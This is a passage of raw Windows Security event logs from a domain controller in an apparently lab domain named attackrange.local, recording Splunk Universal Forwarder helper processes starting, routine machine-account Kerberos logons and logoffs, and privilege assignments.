program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257318 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x67c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257317 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257319 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DCEDF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:23:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257322 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4E2453 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:23:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257321 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4E2453 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50814 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:23:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257320 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4E2453 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:24:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257323 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257324 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257325 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257326 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x117c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257327 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x548 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:24:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257330 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DA525 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:24:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257333 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4E5A20 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:24:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257332 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4E5A20 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50827 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:24:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257331 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4E5A20 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:25:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257334 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa18 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257335 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257336 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257337 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257338 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257340 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, 